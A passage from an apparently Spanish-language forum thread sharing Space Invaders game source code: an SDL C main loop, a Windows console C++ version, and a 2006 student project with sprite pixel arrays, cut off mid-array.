                                       
                                        switch( event.key.keysym.sym ) {
                                       
                                                //exit out of game loop if escape is pressed
                                                case SDLK_ESCAPE:
                                                       
                                                        quit = 1;
                                                break;
                                               
                                                case SDLK_SPACE:       
                                               
                                                        if (state == menu) {

                                                                state = game;

                                                        } else if (state == game){
                                                               
                                                                player_shoot();
                                                                saucer_ai();
                                                       
                                                        } else if (state == game_over) {
                                                       
                                                                init_invaders();
                                                                init_bases();
                                                                init_score();
                                                                init_player();
                                                                state = game;
                                                        }
                                                break;
                                               
                                                default:
                                                break;
                                        }
                                break;
                        }
                }
       
                draw_background();

                if (state == menu) {
                       
                        char s[] = "Press SPACEBAR to start";
                        SDL_Rect src[60];
                       
                        int i;

                        if (title_time + 2000 < SDL_GetTicks())  {
                       
                                src[0].x = 180;
                                src[0].y = 40;
                                src[0].w = 440;
                                src[0].h = 230;
                       
                                SDL_FillRect(screen, &src[0], 248);
                       
                        } else {
                       
                                int y = 0;

                                for (i = 0; i < 60; i++) {
                               
                                        src[i].x = 0;
                                        src[i].y = y;
                                        src[i].w = SCREEN_WIDTH;
                                        src[i].h = 10;

                                        SDL_FillRect(screen, &src[i], 227);
                               
                                        y += 10;                                                       
                                }
                       
                                for (i = 0; i < 60; i++) {

                                        SDL_FillRect(screen, &src[i], rand() % 255);

                                }
                        }
                       
                        draw_title_screen();       
                        draw_string(s, (SCREEN_WIDTH / 2) - (strlen(s) * 10), 500);

                } else if (state == game) {

                        //move player
                        if (keystate[SDLK_LEFT]) {
                               
                                move_player(left);
                        }

                        if (keystate[SDLK_RIGHT]) {
                               
                                move_player(right);
                        }

                        draw_hud();
                        draw_player();
                        draw_bases();
                        draw_invaders();
                        draw_saucer();
                        draw_bullets(bullets, P_BULLETS);
                        draw_bullets(e_bullets, E_BULLETS);
                        enemy_hit_collision();
                        player_hit_collision();
                        enemy_base_collision();
                        saucer_hit_collision();
                        bullet_base_collision(e_bullets, E_BULLETS, 1);
                        bullet_base_collision(bullets, P_BULLETS, 0);
                        enemy_player_collision();
                        move_invaders(invaders.speed);
                        move_saucer();
                        move_bullets(bullets, P_BULLETS, -30);
                        move_bullets(e_bullets, E_BULLETS, 15);
                        calculate_level();
                        enemy_ai();
                        game_over_ai();
                        pause_game();
               
                } else if (state == game_over) {
                       
                        draw_hud();
                        draw_player();
                        draw_bases();
                        draw_invaders();
                        draw_saucer();
                        draw_bullets(bullets, P_BULLETS);
                        draw_bullets(e_bullets, E_BULLETS);
                        draw_game_over();
               
                } else if (state == pause) {
                       
                        draw_hud();
                        draw_player();
                        draw_bases();
                        draw_invaders();
                        draw_saucer();
                        draw_bullets(bullets, P_BULLETS);
                        draw_bullets(e_bullets, E_BULLETS);
                        pause_game();
                }

                /* Ask SDL to update the entire screen. */
                SDL_Flip(screen);

                next_game_tick += 1000 / 30;
                sleep = next_game_tick - SDL_GetTicks();
       
                if( sleep >= 0 ) {

                            SDL_Delay(sleep);
                }
        }
       
        return 0;
}

Codigo en C++

Código:

#include <windows.h>
#include <iostream>
#include <conio.h>

using namespace std;

HANDLE hOut;
COORD KeyWhere;

int Key;

int SX = 20;
int SY = 15;

int OX;
int OY;

int Fire = 0;
int FX;
int FY;
int OFX;
int OFY;

int AX;
int AY;
int Alien = 0;
int AC = 0;
int ALR;
int OAX;
int OAY;

int Points = 0;
int Lives = 3;

int Crash;
int Boom = 0;

int main()
{
    New:
    system("cls");
    Points = 0;
    Lives = 3;
    SX = 20;
    SY = 15;
    AC = 0;
    Alien = 0;
    Boom = 0;
    Fire = 0;
    hOut = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hOut, FOREGROUND_GREEN);
    cout<<"\n                      --------------*-------------";
    cout<<"\n                    <<<<<  Space invaders v.0  >>>>>";
    cout<<"\n                      --------------*-------------";
    cout<<"\n\n\n                      a = left  b = right  w = up";
    cout<<"\n                      s = down  q = shoot  x = exit";
    cout<<"\n\n\n                        Game starts in 5 secs...";
    Sleep(5000);
    system("cls");

    while(true)
    {
    KeyWhere.X = OX;
    KeyWhere.Y = OY;
    if((OX == SX)&&(OY == SY));
    else
    {
    SetConsoleCursorPosition(hOut, KeyWhere);
    cout<<"    ";
    }
    Sleep(10);
    KeyWhere.X = SX;
    KeyWhere.Y = SY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
    cout<<"^_!_^";

    KeyWhere.X = 0;
    KeyWhere.Y = 0;
    SetConsoleCursorPosition(hOut, KeyWhere);
    SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_RED | FOREGROUND_INTENSITY);
    cout<<"Points: "<<Points<<"\nLives: "<<Lives;

    if(Fire == 1)
    {
    OFX = FX;
    OFY = FY;
    KeyWhere.X = OFX;
    KeyWhere.Y = OFY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    cout<<" ";
    FY--;
    KeyWhere.X = FX;
    KeyWhere.Y = FY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY);
    cout<<"|";
    if(FY < 0)
    {
    Fire = 0;
    FY = 0;
    KeyWhere.X = FX;
    KeyWhere.Y = FY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    cout<<"  ";
    }
    if((FY == AY)&&((FX == AX)||(FX == AX+1)||(FX == AX+2)))
    {
    Beep(300, 200);
    Alien = 0;
    KeyWhere.X = FX;
    KeyWhere.Y = FY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    cout<<" ";
    AY = 0;
    Fire = 0;
    Points = Points+10;
    if(Points == 200)
    {
    system("cls");
    SetConsoleTextAttribute(hOut, FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
    cout<<"\n\n\n\n                    You made it!!!!";
    cout<<"\n\n                    Wana play again? F1 = yes  Esc = no";
    Beep(300, 100);
    Beep(400, 100);
    Beep(500, 100);
    Beep(600, 100);
    Beep(700, 100);
    Beep(800, 100);
    Beep(900, 100);
    Beep(1000, 100);
    while(true)
    {
    if(GetAsyncKeyState(VK_F1)) goto New;
    if(GetAsyncKeyState(VK_ESCAPE)) return 0;
    }
    }
    system("cls");
    }
    }

    if(Alien == 0)
    {
    srand(GetTickCount());
    AX = rand() % 60;
    AX = AX+10;
    Alien = 1;
    }
    if(Alien == 1)
    {
    AC++;
    if(AC > 30)
    {
    AC = 0;
    AY++;
    if(ALR == 0) AX--;
    else if(ALR == 1);
    else if(ALR == 2) AX++;
    if(AX > 70) AX--;
    if(AX < 10) AX++;
    }
    OAY = AY-1;
    OAX = AX-4;
    KeyWhere.X = OAX;
    KeyWhere.Y = OAY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    cout<<"        ";
    srand(GetTickCount());
    ALR = rand() % 3;
    KeyWhere.X = AX;
    KeyWhere.Y = AY;
    SetConsoleCursorPosition(hOut, KeyWhere);
    SetConsoleTextAttribute(hOut, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    cout<<"/W\\";
    if(AY > 48)
    {
    Beep(100, 500);
    Alien = 0;
    Points = Points-50;
    AY = 1;
    system("cls");
    }
    }

    OX = SX;
    OY = SY;

    if(kbhit())
    {
    Key = getch();
    if(Key == 'a')
    {
    SX--;
    if(SX < 10) SX++;
    }
    if(Key == 'd')
    {
    SX++;
    if(SX > 70) SX--;
    }
    if(Key == 'w')
    {
    SY--;
    if(SY < 1) SY++;
    }
    if(Key == 's')
    {
    SY++;
    if(SY > 48) SY--;
    }
    if(Key == 'q')
    {
    if(Fire == 1);
    else
    {
    Beep(100, 15);
    Fire = 1;
    FX = SX+2;
    FY = SY-1;

    }
    }
    if(Key == 'x') return 0;
    }

    for(Crash = 0; Crash < 5; Crash++)
    {
    if(SY != AY);
    else
    {
    if(SX+Crash == AX+0) Boom = 1;
    else if(SX+Crash == AX+1) Boom = 1;
    else if(SX+Crash == AX+2) Boom = 1;
    }
    }
    if(Boom == 1)
    {
    Beep(100, 500);
    system("cls");
    Boom = 0;
    Alien == 0;
    Lives--;
    AY = 1;
    SX = 50;
    SY = 30;
    Points = Points - 20;
    if(Lives == 0)
    {
    system("cls");
    SetConsoleTextAttribute(hOut, FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY);
    cout<<"\n\n\n\n                    You loose...";
    cout<<"\n\n                    Wana play again? F1 = yes  Esc = no";
    Beep(500, 300);
    Beep(400, 300);
    Beep(300, 300);
    Beep(200, 300);
    while(true)
    {
    if(GetAsyncKeyState(VK_F1)) goto New;
    if(GetAsyncKeyState(VK_ESCAPE)) return 0;
    }
    }
    }
    }
}

Codigo en C++ (2)

Código:


/*
 ==========================================================================

    Nombre de archivo: proyecto.cpp
    (c) 2006 Autor: Jose Carlos Aragon Suarez
    Descripcion:    Proyecto Final Space Invaders

 ==========================================================================
*/

/* Declaracion de bibliotecas */
#include <iostream.h> //para poder utilizar cin y cout
#include <conio.h>  //para poder utilizar getch()
#include <dos.h>
#include <stdlib.h>
#include<string.h>
#include<fstream.h>



typedef unsigned short int byte;

struct alumno
{
  char nombre[10];
  int punt;
};

byte nvbuena[44][43]=//[22] y.. dupli [44], [42] x
  {
       
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17,0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17,17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17,17,17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 120, 17,120, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 120, 17, 23,17, 120, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 17, 17, 23, 23,23, 17, 120, 17, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 2, 17, 17, 23, 23, 23,23, 23, 17, 120, 17, 2, 17, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 2, 2, 17, 120, 17, 23, 23, 23,23, 23, 23, 17, 120, 17, 2, 2, 2, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 2, 2, 2, 2, 17, 120, 17, 17, 17, 17, 17,17, 17, 17, 17, 17, 17, 2, 2, 2, 2, 2, 17, 17, 17, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 17, 17, 2, 2, 2, 2, 2, 17, 120, 120, 120, 120, 120, 120, 17,120, 120, 120, 120, 120, 120, 17, 2, 2, 2, 2, 2, 2, 2, 17, 17, 0, 0, 0, 0,0, 0},
        {0, 0, 0, 0, 17, 17, 2, 2, 2, 2, 2, 2, 2, 17, 120, 120, 120, 17, 17, 17, 17,17, 17, 17, 120, 120, 120, 120, 17, 2, 2, 2, 2, 2, 2, 2, 2, 17, 17, 17, 0,0,0},
        {0, 0, 17, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 17, 17, 17, 17, 120, 120, 120, 17,120, 120, 120, 17, 17, 17, 120, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 17,0,0},
        {0, 0, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 17, 120, 120, 120, 120, 17, 17, 17,17, 17, 17, 120, 120, 120, 17, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 17,0,0},
        {0, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 17, 120, 17, 17, 17, 120, 120, 120,120, 120, 120, 17, 17, 17, 120, 17, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,17,0},
        {0, 17, 2, 2, 2, 2, 17, 17, 17, 17, 17, 17, 2, 17, 17, 120, 17, 120, 120, 120, 120,120, 120, 120, 17, 120, 120, 17, 17, 2, 17, 17, 17, 17, 17, 17, 2, 2, 2, 2, 2,17,0},
        {0, 17, 2, 2, 2, 2, 17, 23, 23, 23, 23, 17, 2, 17, 120, 120, 120, 17, 120, 120, 120,120, 120, 120, 17, 120, 120, 17, 2, 2, 17, 23, 23, 23, 23, 17, 2, 2, 2, 2, 2,2,17},
        {17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 120, 120, 17, 17, 17, 17,17, 17, 17, 120, 120, 120, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17,17,17},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 120, 120, 17, 120, 120, 120,120, 120, 17, 120, 120, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 120, 17, 120, 120, 120,120, 120, 120, 17, 120, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0,0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 120, 120, 120, 120,120, 120, 120, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, 17, 17, 17, 17,17, 17, 17, 17, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0}
  };
 
byte nvexpo1[44][43]=//[22] y.. dupli [44], [42] x
      {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 43, 43, 43, 44, 44, 0, 0, 0, 0, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 0, 44, 44, 43, 43, 43, 44, 44, 44, 0, 0, 44, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 44, 44, 44, 44, 44, 44, 44, 43, 43, 43, 43, 43, 44, 44, 43, 43, 40, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 43, 43, 43, 42, 42, 43, 43, 44, 43, 43, 43, 44, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 44, 44, 44, 44, 44, 43, 43, 44, 44, 43, 43, 43, 43, 43, 43, 42, 41, 42, 42, 43, 43, 43, 43, 42, 42, 40, 40, 44, 44, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 44, 44, 44, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 41, 41, 42, 42, 43, 43, 42, 42, 42, 43, 43, 43, 44, 43, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 44, 44, 44, 43, 43, 43, 43, 42, 42, 43, 42, 42, 42, 42, 42, 41, 41, 41, 42, 42, 42, 42, 42, 41, 41, 42, 43, 43, 43, 43, 43, 44, 44, 44, 0, 0, 0, 0, 0, 0},
        {0, 44, 44, 44, 44, 43, 43, 43, 43, 42, 42, 42, 42, 42, 40, 41, 41, 41, 41, 41, 40, 40, 40, 41, 40, 41, 41, 41, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 0, 0, 0, 0, 0},
        {0, 44, 44, 44, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 44, 44, 0, 0},
        {0, 44, 44, 43, 43, 43, 43, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 44, 44, 44, 44, 44, 0},
        {0, 0, 44, 43, 43, 43, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 44, 44, 44},
        {0, 44, 43, 43, 43, 42, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 44, 44},
        {44, 44, 43, 43, 42, 42, 42, 42, 41, 41, 42, 41, 41, 41, 41, 41, 42, 41, 41, 40, 41, 40, 40, 40, 41, 41, 40, 40, 40, 40, 41, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 44},
        {44, 44, 44, 43, 42, 42, 42, 43, 43, 42, 42, 42, 41, 41, 41, 42, 42, 42, 41, 41, 41, 41, 40, 41, 41, 41, 41, 41, 40, 40, 41, 41, 41, 41, 41, 42, 42, 42, 43, 43, 43, 43, 44},
        {44, 44, 44, 43, 43, 43, 43, 43, 43, 43, 43, 43, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 43, 43, 42, 41, 41, 41, 42, 42, 43, 43, 43, 43, 43, 44},
        {44, 44, 44, 44, 43, 43, 43, 43, 44, 44, 44, 43, 43, 43, 42, 42, 43, 42, 42, 43, 42, 42, 42, 43, 43, 42, 42, 42, 43, 43, 43, 43, 42, 42, 42, 42, 43, 43, 43, 43, 43, 44, 44},
        {44, 44, 0, 44, 44, 44, 44, 44, 44, 44, 44, 44, 43, 43, 43, 43, 43, 43, 43, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 44, 42, 42, 44, 43, 43, 43, 43, 44, 44, 44},
        {0, 0, 0, 0, 44, 44, 0, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 43, 43, 42, 43, 43, 43, 43, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 0, 44, 44, 44, 43, 43, 43, 43, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 43, 43, 43, 43, 44, 44, 44, 44, 44, 44, 44, 0, 0, 44, 44, 0, 44, 44, 0, 44, 44, 44, 0, 0, 0, 0}
    };

byte nvexpo2[44][43]=//[22] y.. dupli [44], [42] x
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 0, 44, 44, 43, 43, 43, 44, 44, 44, 0, 0, 0, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 44, 44, 44, 44, 44, 44, 44, 43, 43, 43, 43, 43, 44, 44, 43, 43, 40, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 44, 44, 44, 44, 44, 44, 0, 0, 44, 44, 44, 43, 43, 43, 42, 42, 43, 43, 44, 43, 43, 43, 44, 40, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 44, 44, 44, 44, 43, 43, 44, 0, 43, 43, 43, 43, 43, 43, 42, 41, 42, 42, 43, 43, 43, 43, 42, 42, 0, 0, 44, 44, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 44, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 42, 42, 41, 41, 42, 42, 43, 43, 42, 42, 42, 43, 0, 0, 44, 43, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 43, 43, 43, 42, 42, 43, 42, 42, 42, 42, 42, 41, 41, 41, 42, 42, 42, 42, 42, 41, 41, 42, 43, 43, 43, 43, 43, 44, 44, 44, 0, 0, 0, 0, 0, 0},
        {0, 0, 44, 44, 44, 43, 43, 43, 43, 42, 42, 42, 42, 42, 40, 41, 41, 41, 41, 41, 40, 40, 40, 41, 40, 41, 41, 41, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 0, 0, 0, 0, 0},
        {0, 44, 44, 44, 43, 43, 43, 43, 42, 42, 42, 41, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 42, 43, 43, 43, 43, 43, 44, 44, 44, 0, 0, 0, 0},
        {0, 44, 44, 43, 43, 43, 43, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 44, 44, 44, 0, 0, 0},
        {0, 0, 44, 43, 43, 43, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 44, 0, 0},
        {0, 44, 43, 43, 43, 42, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 0, 0},
        {0, 0, 43, 43, 42, 42, 42, 42, 41, 41, 42, 41, 41, 41, 41, 41, 42, 41, 41, 40, 41, 40, 40, 40, 41, 41, 40, 40, 40, 40, 41, 41, 41, 41, 41, 42, 42, 43, 43, 43, 43, 44, 0},
        {0, 0, 44, 43, 42, 42, 42, 43, 43, 42, 42, 42, 41, 41, 41, 42, 42, 42, 41, 41, 41, 41, 40, 41, 41, 41, 41, 41, 40, 40, 41, 41, 41, 41, 41, 42, 0, 0, 43, 43, 43, 0, 0},
        {0, 0, 44, 0, 0, 43, 43, 43, 43, 43, 43, 43, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 43, 43, 42, 41, 41, 41, 0, 0, 43, 43, 43, 43, 0, 0},
        {0, 44, 44, 0, 0, 43, 43, 43, 44, 44, 44, 43, 43, 43, 42, 42, 43, 42, 42, 43, 42, 42, 42, 43, 43, 42, 42, 42, 43, 43, 43, 43, 42, 42, 42, 42, 0, 43, 43, 43, 43, 0, 0},
        {0, 0, 0, 0, 44, 44, 44, 44, 44, 44, 44, 0, 0, 43, 43, 43, 43, 43, 43, 42, 42, 42, 43, 43, 43, 43, 43, 43, 43, 43, 43, 43, 0, 0, 42, 44, 43, 43, 43, 43, 44, 0, 0},
        {0, 0, 0, 0, 44, 44, 0, 44, 44, 44, 44, 0, 0, 0, 44, 44, 44, 43, 43, 42, 43, 0, 0, 0, 44, 44, 44, 44, 44, 44, 44, 0, 0, 0, 0, 44, 0, 0, 44, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 44, 44, 43, 43, 43, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 0, 0, 44, 44, 0, 0, 0, 0, 0, 44, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
  };

byte nvexpo3[44][43]=//[22] y.. dupli [44], [42] x
  {
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ,0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 43, 0, 0, 0, 0, 44, 0, 0, 0, 44, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 44, 44, 0, 0, 0, 0, 0, 0, 0, 44, 43, 0, 0, 0, 43, 44, 44, 43, 0, 0, 40, 44, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 42, 42, 43, 43, 44, 43, 43, 0, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 44, 0, 0, 43, 43, 43, 43, 43, 0, 43, 0, 0, 42, 41, 41, 42, 0, 0, 43, 42, 42, 42, 43, 0, 0, 44, 43, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 0, 0, 43, 43, 42, 42, 43, 42, 0, 42, 0, 0, 41, 41, 41, 42, 0, 0, 42, 42, 41, 41, 42, 43, 43, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 44, 0, 0, 0, 0, 43, 43, 42, 42, 42, 42, 42, 40, 41, 41, 0, 41, 41, 40, 40, 40, 41, 40, 41, 41, 41, 42, 42, 0, 0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 44, 0, 0, 43, 0, 0, 43, 42, 0, 42, 41, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 42, 0, 0, 43, 43, 43, 0, 0, 0, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 43, 0, 0, 42, 0, 0, 41, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 0, 42, 42, 42, 0, 0, 43, 44, 0, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 0, 42, 42, 41, 0, 0, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 0, 41, 41, 0, 0, 0, 43, 43, 43, 0, 0, 0, 0},
        {0, 0, 43, 0, 0, 42, 42, 42, 41, 41, 41, 40, 40, 40, 40, 40, 41, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 41, 41, 41, 41, 42, 0, 0, 43, 43, 43, 0, 0, 0},
        {0, 0, 43, 43, 0, 0, 42, 42, 41, 41, 42, 41, 41, 41, 41, 41, 42, 41, 41, 40, 41, 40, 40, 40, 41, 41, 40, 40, 40, 40, 41, 41, 41, 41, 0, 0, 0, 43, 43, 43, 0, 0, 0},
        {0, 0, 0, 43, 42, 0, 0, 43, 43, 0, 0, 42, 41, 41, 41, 42, 42, 42, 41, 41, 41, 41, 40, 41, 41, 41, 41, 41, 40, 40, 41, 41, 41, 0, 0, 42, 0, 0, 43, 0, 0, 0, 0},
        {0, 0, 0, 0, 0, 43, 0, 0, 43, 43, 0, 0, 41, 41, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 43, 43, 42, 0, 0, 41, 0, 0, 43, 0, 0, 43, 0, 0},
